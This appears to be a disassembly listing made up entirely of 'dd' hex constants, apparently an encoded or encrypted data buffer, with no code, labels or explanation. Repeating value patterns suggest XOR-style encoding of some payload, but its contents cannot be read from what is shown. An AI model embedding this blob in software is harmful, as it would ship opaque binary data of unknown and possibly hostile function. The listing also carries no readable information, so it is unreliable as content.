		dd 0AC369E89h, 0C5D79C33h, 223211A3h, 15F79466h, 0F321566h
		dd 4B6E314Ah, 223214E7h, 65CDED66h, 8CB93142h, 40F69642h
		dd 2232198Fh, 0D2A47066h, 9BFA4709h, 0AB1D50B3h, 223DFC99h
		dd 9AD31566h, 24A73618h, 66E49F6Dh, 0F6E7B5BDh,	5A9C102Dh
		dd 401B7743h, 2ABCAC37h, 0CBB34704h, 0E10F3786h, 746BDD4Fh
		dd 0E5B72E9Fh, 2D343747h, 113248E4h, 33547566h,	42DA8C8Dh
		dd 8F321566h, 5D94EF7Ah, 5F851A71h, 0C109743Dh,	24101BAFh
		dd 110E9669h, 8FDB1566h, 3B321566h, 29ADE113h, 1E5324B9h
		dd 88321DE8h, 46B11A66h, 42321566h, 1136D707h, 73B97306h
		dd 4432018Fh, 460F9866h, 3A9064E9h, 60A04B0Ah, 88827339h
		dd 7FD07F6Dh, 1E5374E6h, 88320CE2h, 4426FC66h, 77A41566h
		dd 0AE1C74BFh, 4235BF10h, 61D0F7C7h, 0CA2A209Ch, 15F51D43h
		dd 961A3A42h, 1B89464Bh, 237BF11Eh, 4A36313Ah, 7F1631B7h
		dd 70B3317Ah, 0D88CF142h, 9F3DE077h, 8832157Eh,	4432068Fh
		dd 48890D66h, 0D42A9D14h, 6696D0C0h, 68152434h,	696BE4D4h
		dd 151651A1h, 0B66A0FD3h, 401661E7h, 34F153BCh,	151651E7h
		dd 7A480190h, 401679E7h, 39276403h, 11321C8Fh, 5E905F66h
		dd 28D1BFACh, 9F673450h, 6C015E4Ah, 0DF1FE0E7h,	0B1B30DA5h
		dd 4F330BF1h, 0F4F3C891h, 9EFE260h, 4979093h, 0A9DA9C5Ah
		dd 0D5B3314Ah, 88321562h, 442B9F69h, 36DB1566h,	0B2321566h
		dd 2F241A6Ch, 0C0720F8Eh, 0BE7725D1h, 0EF5F3F3Bh, 5322705h
		dd 6662A4EBh, 223BFC60h, 7951566h, 1E7A3DA9h, 0BB69450Eh
		dd 2226FC87h, 9A191566h, 0AA76CB8Eh, 0B886A17h,	0D1BA4638h
		dd 0ABAAC0EAh, 0E8527034h, 4432128Eh, 9D37A866h, 85C01C61h
		dd 0E35AFBE7h, 22695D75h, 435D38DDh, 9836F9E5h,	88883172h
		dd 45321566h, 78309F94h, 11339C69h, 0B4CB1566h,	7BB61A8Fh
		dd 2D321567h, 11321DE6h, 8AB71A66h, 24321566h, 2DDA2907h
		dd 11335CE2h, 84BF1A66h, 4B321566h, 223213E4h, 11BE1A66h
		dd 0B4321566h, 7BB61A69h, 0CB321566h, 1132156Ch, 2D3B0591h
		dd 22BE1B27h, 0EF0E2BF1h, 10BE9169h, 0B4C71566h, 0EEB61A8Dh
		dd 0CB321567h, 11321560h, 39FF75D2h, 2453DC9Fh,	0C8B24C30h
		dd 9A52746Eh, 87F174B5h, 443214EEh, 685AE966h, 9832154Ah
		dd 898B316Ah, 45321566h, 7B2B9F97h, 10B21A9Fh, 70321566h
		dd 0C43BA037h, 0EFCCAEA3h, 0FCE2C090h, 769CD0E6h, 7FC795ABh
		dd 2D6BFE46h, 11321FE1h, 8837FC66h, 4C341566h, 0A2ED107Bh
		dd 943D959Dh, 77CDEAC4h, 443D9869h, 28DB1566h, 1321566h
		dd 844E27C1h, 0F1124824h, 3EB943FEh, 15F69642h,	0F300AD06h
		dd 6B817B73h, 9B63ED07h, 11321560h, 9280D6E7h, 8F336818h
		dd 3880FEE7h, 0F86B6818h, 8832156Ch, 0FA20409Fh, 0BE4782A5h
		dd 1D5ABCCBh, 132156Fh,	468B316Ah, 23321566h, 482B1697h
		dd 88249869h, 22521566h, 3B47DFE7h, 11321C8Eh, 0F5525166h
		dd 3618F594h, 436CF52Eh, 11329E8Fh, 44B27566h, 6F8A7391h
		dd 54CD74FEh, 352E9E67h, 0E836D1E5h, 44E59431h,	7D1AD0CDh
		dd 0ED5303D0h, 87C9EEE5h, 4432CCE2h, 0A364E966h, 6F973162h
		dd 94B90DF3h, 40F69442h, 0A3321566h, 844CB08Dh,	8826FC7Eh
		dd 7D141566h, 742499F8h, 82901C31h, 9DDEF3E3h, 89685BE8h
		dd 9A628BF5h, 11321567h, 9031E567h, 0C71611EDh,	73CE11A2h
		dd 113210DFh, 3F91466h,	80B1316Ah, 223CFC62h, 84401566h
		dd 0CB84C4A3h, 606A5578h, 6C1F0806h, 0EECC808Fh, 6DB27599h
		dd 97B347A5h, 26EC311Ah, 0A73D7439h, 0EE521438h, 0BFB9EEEDh
		dd 0CD99607h, 0EF469169h, 61CEEA99h, 4432152Ch,	71D49406h
		dd 7706E681h, 0B832D6E7h, 454C9507h, 75B71A98h,	1ECDEA98h
		dd 88320CE7h, 4426FC66h, 0B5061566h, 0BC46E18Ah, 0EEBAE517h
		dd 59A09FDh, 0D87A095Dh, 7752301Ch, 0E83769DEh,	4432108Fh
		dd 4B51D66h, 70529C27h,	0FDB7407h, 0BDCDEA9Ah, 0A3D09C34h
		dd 113211A4h, 8CD89666h, 181601E1h, 0DE1621EFh,	1136F9E7h
		dd 84BB1566h, 0FB3D7542h, 223AFC97h, 0A1BB1566h, 89B9770Fh
		dd 1253C975h, 0E4B3F3EFh, 11321562h, 8836FBE7h,	70B51566h
		dd 3EBB4942h, 1DB41A42h, 0E8321566h, 6B2A39DCh,	7A45AC4Dh
		dd 795300E9h, 8832766Fh, 4B1629EFh, 223214EFh, 0D103E066h
		dd 8832048Fh, 1FCC0066h, 0A7927E89h, 94EABF3h, 34AD1AEFh
		dd 0AD9E2715h, 2232156Dh, 0EEE55BD3h, 0D832AB37h, 15318905h
		dd 0E9BAD4EEh, 921619EDh, 73D11A2h, 44321567h, 20DE949Ah
		dd 77321566h, 3D1619EFh, 22D93596h, 25B51A3Fh, 1E321566h
		dd 883214E6h, 0BFB2ED66h, 0E8B61A16h, 0E4321563h, 0C3D1A5Ah
		dd 4432158Eh, 24DAE906h, 7F321566h, 74034C81h, 44B21A02h
		dd 7B321566h, 1EDB2907h, 88396CE2h, 4437FC66h, 0C8A01566h
		dd 2D637454h, 7DB61A8Dh, 4B321568h, 223214EFh, 0F20EED66h
		dd 8B489169h, 0BDCE1566h, 0A63DF75Ah, 11320559h, 8832058Fh
		dd 0B60B9766h, 0E881F02h, 6C06C8B1h, 5E652818h,	600E9E53h
		dd 0A3D09C34h, 113211A4h, 8CF09466h, 0C3321566h, 2D6E3172h
		dd 113201E8h, 86B41A66h, 0AD321566h, 2232156Fh,	4DE0D855h
		dd 7AB06FBFh, 6006EA79h, 26F6943Dh, 0F8321566h,	8832156Fh
		dd 9D80F1C6h, 0CBCA9826h, 353E9ED2h, 9D59C31h, 443211A1h
		dd 26F59666h, 4D1629E1h, 88389369h, 4B521566h, 223215E1h
		dd 70BDA766h, 0D6162199h, 0BD36D1E5h, 2220FCA5h, 9A7D1566h
		dd 92DFC21Ah, 0DE828F5h, 797F0826h, 69D54232h, 2D8990A1h
		dd 4434134Fh, 2D521566h, 113210EBh, 0E95DAA66h,	25CA144Ch
		dd 2232AF34h, 0E3331566h, 9CB90FECh, 40F69442h,	2D321566h
		dd 11321EEBh, 8834FC66h, 97561566h, 9807B919h, 114E480Eh
		dd 0AC3E9C66h, 99C41BD3h, 0A247F0E6h, 0FA12958Bh, 8820FC3Fh
		dd 366E1566h, 0F4CAD1DCh
		dd 0F20FA7A6h, 68F5760Fh, 2C81BECFh, 2DB2EEE6h,	0EECD11E3h
		dd 883EFC99h, 0D7831566h, 9447C4E4h, 85951769h,	3361CD5Ch
		dd 0BBCDEA99h, 0D769CB67h, 16EF90EDh, 61521344h, 44321560h
		dd 0C15CA0A0h, 9D807076h, 89B81A07h, 0B1321566h, 347F80EDh
		dd 1CDB1344h, 0A1321566h, 0E4D1AB54h, 0C12264ABh, 915FD974h
		dd 1C29C36h, 60369EA5h,	2236D1E7h, 0A3521566h, 438D1AE4h
		dd 428A4507h, 23321566h, 35369EA5h, 8836D1E7h, 0CC3D1566h
		dd 22321579h, 2CC09506h, 8832018Eh, 58F60B66h, 0F6519D05h
		dd 0B2AB2B0Fh, 4F2F572Ah, 2C4B74ACh, 72534FDBh,	113217DEh
		dd 0FBD61066h, 0B4330369h, 2D41F14Bh, 492A1670h, 0F3D7506h
		dd 44321566h, 5E19400h,	0D9B97484h, 5009E907h, 440D9769h
		dd 0CA521566h, 1132156Ch, 0D7CE07D5h, 0DEDF424Ch, 0E0B37E24h
		dd 79B1BB5Bh, 52097438h, 0BA299369h, 4452EA99h,	82C6C3E7h
		dd 8832068Fh, 0D5C36F66h, 3BFD9847h, 0E4F02B16h, 7E9511CCh
		dd 6C498016h, 29D99407h, 38751E49h, 838B449Dh, 45751E49h
		dd 2D524CADh, 0FC8DD7D9h, 0E9462D13h, 335A4634h, 7967B275h
		dd 243FEE7h, 52BB40C1h,	1EE13C3Dh, 429F739Fh, 0FDF09400h
		dd 49B9731Fh, 24997307h, 43F59F9Fh, 0D203CD57h,	53DCD57h
		dd 44321575h, 22321B8Fh, 0A5F4BB66h, 77A1A9D9h,	0C0A97B5Bh
		dd 89E9B1C6h, 11321F8Fh, 0FB9E2866h, 198830C4h,	0A17E258Eh
		dd 1DBB118Ah, 8836AC42h, 8A331566h, 28DB753Fh, 0C321566h
		dd 0B7CF08D6h, 82EDFF57h, 27B81A4Dh, 0AA321566h, 0FCB11F22h
		dd 54B81A07h, 42321566h, 17DA4F34h, 8321566h, 0E4E3323Ah
		dd 0AB534CCDh, 913D315Ah, 8832156Eh, 1A8C7306h,	435375E3h
		dd 1D1661EFh, 95879C9Fh, 4B34377Dh, 223214E3h, 9E3DE966h
		dd 8832156Dh, 4432138Fh, 0E6C6E966h, 0EE8159E4h, 0B6D3152h
		dd 0BC5211A2h, 2232138Fh, 8B67A466h, 0E9B5643Ch, 1F162199h
		dd 0D736D1E5h, 471619EDh, 4EB3F3EFh, 44321562h,	2236D3E7h
		dd 25B51566h, 63D4942h,	44321567h, 606EA9Eh, 15F69638h
		dd 6EBB4393h, 71B6AF34h, 0C0F312BAh, 95F09463h,	89366C29h
		dd 82B14FB0h, 6069262h,	0A63D753Ah, 8AB71ABFh, 0CE321566h
		dd 22DB7487h, 0EDCDEAB9h, 2D8990A1h, 4430134Fh,	0AE3D1566h
		dd 11321577h, 88399969h, 42DB1566h, 23321566h, 14CC225Fh
		dd 85B07D14h, 70BB1566h, 0AD3D4E42h, 11321571h,	883CFC06h
		dd 2A051566h, 3371CAABh, 69127FB7h, 0AE36DE36h,	4B537406h
		dd 2CDB1BD0h, 0F2321566h, 30286513h, 8D49C123h,	17083E76h
		dd 91CB953Eh, 886B9669h, 0C5CA1566h, 0A16BB5A5h, 44F91411h
		dd 0B6BB5DBh, 19D93C11h, 22219869h, 1FDB1566h, 45321566h
		dd 0A725CDE6h, 267D55EDh, 1F9BC8CCh, 778D42C2h,	6DCDEA99h
		dd 0CB524A9Dh, 1132156Dh, 0D9292A21h, 2D5F02E4h, 0CBAAB663h
		dd 1132156Eh, 0FA0B1787h, 10CB67D3h, 2292FC07h,	41CE1566h
		dd 50C40CD6h, 0A4E2144Ah, 0FAC4DD98h, 0D01ADF62h, 6EB2753Eh
		dd 0A08B7346h, 0D5637419h, 1DB9317Ah, 8CF69442h, 4B321566h
		dd 22321FE9h, 1137FC66h, 8AD61566h, 4B71BD38h, 223201EBh
		dd 113DFC66h, 35E31566h, 0E8CCB9B4h, 4F24C0CCh,	0F0B6AF54h
		dd 778D42DBh, 65321566h, 60E9E9Fh, 1E36D1E5h, 883205EBh
		dd 42DB7566h, 82321566h, 1483B48Dh, 41851A5Dh, 0C4D99407h
		dd 0B340B29h, 918A45ADh, 89340B29h, 0C63D4DA5h,	22321574h
		dd 113BFC06h, 0AF8F1566h, 82CEDE0Eh, 93CA5D9Ch,	94B9742Eh
		dd 8E1012BBh, 44269569h, 2DDB1566h, 0C4321566h,	0C0F72720h
		dd 363065EBh, 807AE1B6h, 84B9EEBAh, 8E10032Bh, 8B8D1A06h
		dd 2232058Fh, 0EF8F1066h, 0A0FE6A55h, 0C9ADB339h, 7346DD8Bh
		dd 9B5274A3h, 6DE994A4h, 256CF658h, 241FA8E5h, 1E331344h
		dd 8836D7E2h, 45B81A66h, 0DA321566h, 933DD65Fh,	883211D5h
		dd 44369B69h, 0A9521566h, 9E3D74B9h, 8832157Fh,	443DFD06h
		dd 5AAE1566h, 77290B6Ah, 0D503FD82h, 109CF20Bh,	43524DDEh
		dd 1EE12C07h, 77C8A5E4h, 38DBED99h, 0CB321562h,	1132156Fh
		dd 3D64C18Ch, 0F2FC3018h, 99B7D234h, 13343CC3h,	0E8321566h
		dd 44349969h, 0A33D1566h, 11321566h, 89BC1A07h,	0BD321566h
		dd 0AB36F9E5h, 25B33152h, 0F214B642h, 0B7B34E4Ch, 84833C5h
		dd 11321A8Fh, 51359A66h, 0BF1A8DA5h, 1EFB1A85h,	1B3144ECh
		dd 0E83CA369h, 30EC9400h, 24B11A8Ch, 90321566h,	80273585h
		dd 0BDB27459h, 0A4B11AE6h, 0ED321566h, 0CB42D6E7h, 0AFB33DF8h
		dd 0A0D0636h, 0D2B3DE67h, 0A00D0636h, 742FEE7h,	0CB523DF8h
		dd 1132156Eh, 8ED171B7h, 0E010BC7Fh, 2232108Fh,	0F2E5D766h
		dd 0DF53BCADh, 8D4851D9h, 39D59419h, 90602359h,	77F7EA91h
		dd 1BC93CCBh, 0A93D7506h, 11321566h, 8834FC07h,	4AEA1566h
		dd 0A34DCB43h, 113DFC07h, 0C0121566h, 7EACEA78h, 648EF14Ch
		dd 0D44F10EDh, 8840FC6Fh, 4EDB1566h, 1A321566h,	17B9F82h
		dd 2640DDCDh, 0A285469Fh, 0EDCCC290h, 0D1C9A037h, 65F21683h
		dd 0FCDF9564h, 0A91F8E6h, 0FEB24C89h, 0B8C59508h, 0B169EC4Eh
		dd 0E3B3C491h, 11321567h, 56B97306h, 25F9AA69h,	223A740Eh
		dd 351E9C66h, 8832EADBh, 19DB3466h, 22321C8Fh, 0B5994966h
		dd 0EC3C7C62h, 87B3C540h, 6C7047Ch, 0A962DE4Fh,	0ACC7047Ch
		dd 0B86AD64Fh, 25EF90EDh, 1E521344h, 883202EEh,	4420FC66h
		dd 72041566h, 988368FFh, 74B4EB20h, 0C4F4E715h,	0EBFEDBBDh
		dd 11339F69h, 0E9CE1566h, 44389A69h, 2D521566h,	113215E7h
		dd 0E9F7A166h, 527F80EDh, 0A1C71344h, 333438DBh, 0C3D1460h
		dd 443217A9h, 223E9269h, 16DB1566h, 79321566h, 5C526C4Fh
		dd 0A83DCE4Bh, 11321575h, 88321B8Fh, 3A7F166h, 3E1122A2h
		dd 0B95902F6h, 0B3118BA0h, 51B01ABEh, 0CB321566h, 11321561h
		dd 698029F7h, 7D273345h, 94B41AB5h, 0E8CDEA9Eh,	8833AC37h
		dd 8A1B1566h, 4460753Fh, 0F674C3E7h, 4408AF3Fh,	17537A12h
		dd 166CA536h, 49F59D37h, 0E869EDEEh, 44369569h,	9C541566h
		dd 1FDBBA46h, 99321566h, 2B025489h, 0DE5EB1Fh, 71815647h
		dd 875274B4h, 91B2E7D1h, 429874B9h, 0ABE59E00h,	93248B30h
		dd 448A4507h, 23321566h, 11894696h, 89321566h, 1F399FA5h
		dd 9854753Eh, 90543122h, 0E92BDC94h, 44321A8Fh,	0FD82FA66h
		dd 998FC26Ah, 0ED4925EBh, 8DE476E4h, 906099D6h,	1CF0953Ah
		dd 0AC68C54Eh, 842B39E7h, 0A21E1086h, 1132058Fh, 0BE22266h
		dd 0D081020Eh, 5EA4E160h, 653297D6h, 84B61A0Fh,	0AD321566h
		dd 22321561h, 0B05BB4D5h, 0DAE94BA1h, 95121AD4h, 0A11601EDh
		dd 17DB11A2h, 0B2321566h, 0DD5DC515h, 2223FCE4h, 99CF1566h
		dd 23620D2Bh, 48C4CEEEh, 9F92E63Ah, 190C244Dh, 8822FCAEh
		dd 32491566h, 0B5CE1FB8h, 6AF2C022h, 0C8F9B933h, 49DB08E9h
		dd 0F6321566h, 9CB1368Ah, 13FA7FEFh, 2CD215C8h,	29B91ACCh
		dd 0F8321566h, 88321560h, 65078847h, 0E1B343EFh, 23D932A7h
		dd 0C7F4FEE7h, 0BF1B6F02h, 6DF4D6E7h, 0FAB36F02h, 0BAD932A7h
		dd 443EFC06h, 0EF3D1566h, 0D7D26B90h, 856ED360h, 0FD54744Dh
		dd 0A153E1B5h, 3DBB118Ah, 8836A842h, 0AF1B1566h, 28B01A3Bh
		dd 0F8321566h, 88321563h, 0F17C5600h, 13EA2400h, 0F8EA24A5h
		dd 88321576h, 0DA9620B8h, 441E2E57h, 1D0F3051h,	0DD93724Bh
		dd 4421FCCDh, 12D61566h
		dd 2261026Eh, 5F7170C4h, 57DEF1FCh, 39EF697Fh, 0AC674659h
		dd 0C36213A6h, 562D0E7h, 0D5777D11h, 0FDDF94B3h, 17E2DD1h
		dd 9A33488Dh, 97BBEC3Dh, 17100E7Bh, 88321C8Fh, 6ECC1766h
		dd 40B41966h, 16DBBEB4h, 0C0321566h, 42BA0576h,	0A7F5C3C6h
		dd 1710134Bh, 88321567h, 44339C69h, 77CE1566h, 0D4B34832h
		dd 88321562h, 0C336D0E5h, 0DE6E314Ah, 461609EDh, 4FB3F2EFh
		dd 44321562h, 0A536D2E5h, 0F86E315Ah, 8832156Fh, 11180096h
		dd 94EEBA23h, 353E9E06h, 9D79C33h, 443211A3h, 26F79666h
		dd 4D1639E1h, 6DBB4093h, 4436D0E7h, 0E7B11566h,	351E2662h
		dd 0BB163957h, 0BC6E314Ah, 0A23D7506h, 11321566h, 0D853749Eh
		dd 0FF61F5EFh, 22321562h, 9269CD67h, 8CB511A6h,	0ADCA4942h
		dd 0DDCDCDF5h, 1132138Fh, 2ABF6766h, 14930E09h,	0DDCDEADEh
		dd 49F41499h, 328C7506h, 223443D9h, 27A3FCE7h, 13B91A07h
		dd 3C321566h, 0F56374D1h, 2208A528h, 70364CAEh,	88359369h
		dd 0CC3D1566h, 22321567h, 18DBBF9Eh, 0FC321566h, 10D596BBh
		dd 2B5ED9E5h, 11321F8Fh, 0BC148566h, 4C398F6Ah,	74BC208Eh
		dd 921611EDh, 80DB11A2h, 99321566h, 0AD41F21Eh,	46093270h
		dd 962317D9h, 1BCA1409h, 201FED4Fh, 715D0B77h, 88379369h
		dd 0FD881566h, 44049009h, 4653C5EDh, 1945F8D9h,	85755A49h
		dd 0EDB31D81h, 26A8139Dh, 4FB3C291h, 0F3CDE566h, 0CB6DED4Fh
		dd 11321568h, 2CC5BC52h, 144EA3B6h, 7AD89549h, 1E9966A8h
		dd 88320DE0h, 4421FC66h, 2E131566h, 0E40DB417h,	373AFDE3h
		dd 4ED59CC6h, 93BF0E3Dh, 496645DFh, 88321163h, 40F29666h
		dd 7E1611E1h, 11389769h, 87521566h, 289ECD1h, 43662932h
		dd 461609EDh, 4FB3F2EFh, 44321562h, 0A536D2E5h,	0F86E315Ah
		dd 8832156Fh, 5FA1ED11h, 0F6644023h, 3506EA94h,	8CF6963Fh
		dd 44339C69h, 0DDCE1566h, 926C3152h, 83D11A2h, 4432156Eh
		dd 0F0B37306h, 70CEF8BEh, 136F9E5h, 0A4BB3162h,	22321163h
		dd 15F29666h, 0D41611E1h, 4BEA9F06h, 223216EDh,	3FD99566h
		dd 521BFC07h, 2252EA99h, 0D3B2DFEDh, 94F57492h,	8E1BB0DDh
		dd 44321563h, 2238FC06h, 25521566h, 76CC7B70h, 31566668h
		dd 0C6C59400h, 79CB74F1h, 883215AAh, 0C51621EFh, 6B4B3162h
		dd 90692FABh, 457B6C8Dh, 0FC62ED5Ch, 22321562h,	15B9D667h
		dd 8CF69442h, 0BD321566h, 73894637h, 900F373Ch,	585151A5h
		dd 0FDC1944Eh, 6911EB13h, 0D919E6E7h, 51BB536Ah, 47C3143Dh
		dd 97524C7Fh, 0E7B373EAh, 3536C96h, 6635C8E3h, 42CE7560h
		dd 7053B2D2h, 9E7F80EDh, 4B521344h, 9D3DC5D1h, 0AA6174B4h
		dd 88321567h, 0AD69CB4Fh, 22321568h, 28B2E1CEh,	85C5CD06h
		dd 0E599D242h, 9FB1FB97h, 17101AA7h, 93B61A67h,	0BC321560h
		dd 0A03DCD5Dh, 1132156Ch, 87E82E9Fh, 443333E0h,	97BBE066h
		dd 17100E7Bh, 33AF9E9Eh, 0AD343CC3h, 2232156Ah,	0EFC811F9h
		dd 2BD1BAB4h, 0B95E3578h, 2E1679E7h, 3CA83085h,	84164967h
		dd 61D1AC37h, 6E3338FCh, 1E6B0542h, 88321DE4h, 46B81A66h
		dd 42321566h, 14F2FC07h, 3D1566h, 4432156Eh, 22309769h
		dd 70521566h, 0D81629EDh, 4037F5EFh, 27321566h,	11321562h
		dd 0D41611E1h, 44279069h, 32DB1566h, 0C5321566h, 2EDBEF47h
		dd 0B3B3F097h, 7177A6Ah, 1E430485h, 883214EBh, 0C1F5E966h
		dd 24101AA7h, 11321567h, 88339B69h, 0B1CE1566h,	741609EDh
		dd 0D7B3F3EFh, 88321562h, 0C336D3E5h, 2D6E3152h, 113219E8h
		dd 8EBC1A66h, 4B321566h, 223215EEh, 903D7566h, 88321565h
		dd 0CFFD9E00h, 16CD74A5h, 0D5B14C42h, 80BE1A62h, 4B321566h
		dd 223217E0h, 0E8537566h, 0DB1621EDh, 87B3F6EFh, 22321562h
		dd 9636D6E5h, 706E317Ah, 0C5684134h, 223211A4h,	15F09666h
		dd 0D41601E1h, 0C5F99F06h, 5552BD88h, 2DDB741Eh, 61CDEAB3h
		dd 44321561h, 14419588h, 92A65FB8h, 0AA3438DBh,	0C03D1460h
		dd 223211B0h, 0CCAF3E9Ah, 70343761h, 5F3B98EDh,	2ADB1344h
		dd 0C6321566h, 467EDA9Ch, 110C43D9h, 0FF0D5FDBh, 0D0EFE22Ch
		dd 7DB3178Bh, 0E73E64Eh, 236FFC67h, 14DB94BFh, 74551C25h
		dd 2ECBFCE7h, 0DB1B7100h, 0C2AF34h, 7AB3627Fh, 574D6E6Fh
		dd 4268C467h, 11379769h, 4E8D1566h, 2263476Ch, 7553C5EDh
		dd 296C7D34h, 968417Bh,	532DB88Ch, 21D8D468h, 0D221E7E7h
		dd 5FBB1DA6h, 1BCB3C3Ch, 0FB87449Fh, 425ED8E6h,	67E2F4D1h
		dd 6C56E2E6h, 0CABA4E9Bh, 0AE3D753Fh, 0C8A73A8h, 0EECB74C5h
		dd 22339969h, 41CB1566h, 887D040Eh, 603E9C66h, 0A53D4C3Eh
		dd 1132157Eh, 8823FC06h, 0F2191566h, 34971953h,	74A46A5Bh
		dd 2EC3FC59h, 2573D12Fh, 0A93DBE9Fh, 11321567h,	6EBB439Eh
		dd 1BAAE35h, 0F1C57A37h, 0FAF3CE91h, 1EF19465h,	0C54BB53Eh
		dd 0D616EE85h, 0D0F19418h, 89CB6A99h, 82B14EB8h, 6069262h
		dd 0DB9E03Ah, 6DBB4042h, 4436D0E7h, 0E7B11566h,	351E9262h
		dd 0A3DEC3Ah, 44321561h, 0C995AF06h, 9A534EB6h,	167316Ah
		dd 40F79483h, 0A3321566h, 113211A3h, 0AC1E9266h, 443DFC3Ah
		dd 90D21566h, 5959627Bh, 97960105h, 0FEE773CCh,	606EA0Bh
		dd 15F69638h, 8821FC9Ah, 0A92E1566h, 0D9193AE7h, 0E0D415E2h
		dd 0CCA82243h, 0A7747148h, 0C1BB46CEh, 1136D6E7h, 30621566h
		dd 44321562h, 0A56AD667h, 1E6E317Ah, 883214EBh,	0D0DBE966h
		dd 0D7CDEAB0h, 0B48990A1h, 8830134Fh, 4ADB1566h, 0D5321566h
		dd 11D6EBD2h, 9641FD60h, 577E7756h, 0AB61401Fh,	4AEF9C95h
		dd 616FFEEFh, 44321574h, 6EAE4BA8h, 3FAA8CE3h, 0AC706816h
		dd 0A0830B64h, 943DD2DBh, 19BE1A68h, 87321566h,	443217E5h
		dd 0A2537566h, 923D959Fh, 88321558h, 44321F8Fh,	34867A66h
		dd 0C7C8B988h, 0D9FA5C34h, 9F4C79DFh, 7BF93C7Ah, 0D2B3DE67h
		dd 94E96B0Ah, 458B449Eh, 23321566h, 0F8CA4CADh,	883215C5h
		dd 7DFB9406h, 0A3442016h, 0B57F61B5h, 0DA54742Ch, 0C4F1A136h
		dd 0C4BAD18Ah, 77C33D3Eh, 8820FC3Ch, 0DA261566h, 0B257BC7h
		dd 0CC626F71h, 0A10DB0E1h, 0B97079E9h, 223B9E69h, 0A6521566h
		dd 4052AE2Bh, 0B3531B87h, 23F394B7h, 0E8321566h, 0E78FAD36h
		dd 61722C38h, 0D6F02B5h, 4D34864Bh, 0D0F3344Fh,	4432138Fh
		dd 0D6E75566h, 90AEBB59h, 136398A5h, 15F93C32h,	0B96398DFh
		dd 48F93C32h, 88321A8Fh, 4ED80F66h, 41EF8126h, 9BD46EFDh
		dd 31AE5445h, 44321B8Fh, 0BFE63266h, 1DA83AACh,	0F513F4E6h
		dd 0CF72C7AFh, 35C8E3h,	16BC1A60h, 87321566h, 443214E2h
		dd 0B7B9EC66h, 1710032Bh, 88359A69h, 4B521566h,	4352D3D9h
		dd 0EA9EFC07h, 7152EA99h, 44369469h, 9D541566h,	0D653FC73h
		dd 0A197AEE3h, 44321760h, 2BDB7566h, 91321566h,	891E398Fh
		dd 2860A48h, 7963D4E7h,	1E5370E4h, 883214E8h, 0CD63E966h
		dd 7B694497h, 1132188Fh, 1F590166h, 9CEBCF8Bh, 0D6376560h
		dd 0A73DE809h, 8837FC68h, 4E551566h, 0A230DDBDh, 923D959Fh
		dd 8832150Fh, 4432018Fh, 1E20266h, 0FBD44EE1h, 0CBF9F8A8h
		dd 0A076DDBBh, 20F07880h, 0FDD994FAh, 894CD10Fh, 0A88C43ADh
		dd 234CD10Fh, 1CDB4B95h, 0CF321566h, 0A5ADFF17h, 0DA3B38E0h
		dd 0A275DFC3h, 77CDA833h, 0AF1BEA99h, 8DDBE03Bh, 71321566h
		dd 8832018Fh, 19C17266h, 65346CC1h, 657DA519h, 49A14F8h
		dd 834891Eh, 2AF49591h
		dd 0C3864507h, 87844700h, 1E54E156h, 0A237F9A6h, 0F01A128Ah
		dd 885AEC3Eh, 6D321566h, 2EB9316Ah, 15F69642h, 88209E69h
		dd 0F5521566h, 223BFC0Bh, 874C1566h, 591FD70h, 255C0BCFh
		dd 22339069h, 43CA1566h, 8832EADCh, 0CFE33466h,	0E6B33172h
		dd 11321562h, 8832128Fh, 0E6D6C566h, 58983E06h,	4963A833h
		dd 4DB363BDh, 1E330680h, 5667F0E7h, 0C4C51236h,	92AAD8E7h
		dd 0A9B373CEh, 0AE955B86h, 386FFE4Fh, 92F194ADh, 4B411D2Bh
		dd 223214E3h, 94B9E066h, 8E1012BBh, 443DFC9Fh, 0DE881566h
		dd 0EFC7EBC1h, 0B0C065Dh, 0E31557D8h, 6FA79EC5h, 71343770h
		dd 8A4F5E6h, 0C7538781h, 3438DBh, 953D1460h, 77CDED45h
		dd 44321F8Fh, 9605AA66h, 0C4D718D8h, 0B3E92A61h, 75B01ABEh
		dd 0DA321566h, 0C1B97306h, 88321E8Fh, 3AC52666h, 9F99F691h
		dd 15588852h, 87E12C07h, 0BBDC09E0h, 2FBE1A99h,	0F8321566h
		dd 8832156Eh, 460791A8h, 2F79C323h, 1133AC37h, 461B1566h
		dd 443AFC3Fh, 3B3D1566h, 0C6390256h, 364EFD4h, 80B3316Ah
		dd 22321562h, 11339569h, 71CB1566h, 722FA833h, 0D7B33C61h
		dd 167A39BAh, 9701E0E7h, 0AD1B6C15h, 0A3CB3C3Bh, 2D37E7A7h
		dd 8822FC31h, 0D73E1566h, 6D458429h, 7E854CB3h,	3A899500h
		dd 12659E30h, 352B46D8h, 4DC9408h, 9222659h, 0EB5DC290h
		dd 3EF4941Bh, 98EDA62Ch, 711B4B91h, 4434FC39h, 21221566h
		dd 914F5B1Dh, 883B9169h, 0B1521566h, 22329969h,	43531566h
		dd 0B4A037h, 0A2B24C88h, 66DC95E1h, 0EF06FBE6h,	56DC95A0h
		dd 0CCEAE3E6h, 44524F96h, 0ABBD2CDDh, 0F0BAEA3Bh, 4B52BF07h
		dd 223204E1h, 113EFC66h, 0D70C1566h, 4F698F9Ah,	79AA090Dh
		dd 0AE3DAAD7h, 0D962749Dh, 603E9E3Eh, 2236D1E7h, 0BAC71566h
		dd 965ED06h, 0C1635DAEh, 2D534E5Bh, 113200E7h, 8822FC66h
		dd 0AB8E1566h, 6CA780E4h, 1EB7711h, 0B2BC1C3Dh,	10DB1B5Ch
		dd 0D7CDEAB4h, 1132138Fh, 0EE525266h, 16724F05h, 223215DCh
		dd 9BC01466h, 0AC269E64h, 4436D1E7h, 24DB1566h,	84321566h
		dd 592A21B4h, 4BDA2975h, 22325EE2h, 113CFC66h, 0CC9A1566h
		dd 0C2D47A2h, 0F5839681h, 0E8A2EBAEh, 6B1281DEh, 661F5D18h
		dd 0D55D8ED0h, 17DAD4B6h, 0A846EC43h, 0DB821073h, 25DBEB99h
		dd 36321566h, 0FB30B6C1h, 0DCDB475Eh, 2D321567h, 113212EEh
		dd 89BC1A66h, 0B8321566h, 223D3B0Eh, 352E9C66h,	883CFC93h
		dd 61781566h, 904248F4h, 98F577EBh, 0F17D7EEAh,	601E9430h
		dd 0BE333B1h, 0C68F403Dh, 891BC440h, 0CE3D488Dh, 22321568h
		dd 11321C8Fh, 7F285C66h, 78C3AA39h, 9A62EA74h, 11321567h
		dd 9031E567h, 0C71611EDh, 2D5211A2h, 113206E2h,	883FFD66h
		dd 54A51566h, 8E0D970Fh, 2B2DE193h, 0D6630A57h,	0C553A1D1h
		dd 2232118Ah, 353E9C66h, 883210DFh, 1DF91466h, 22321F8Fh
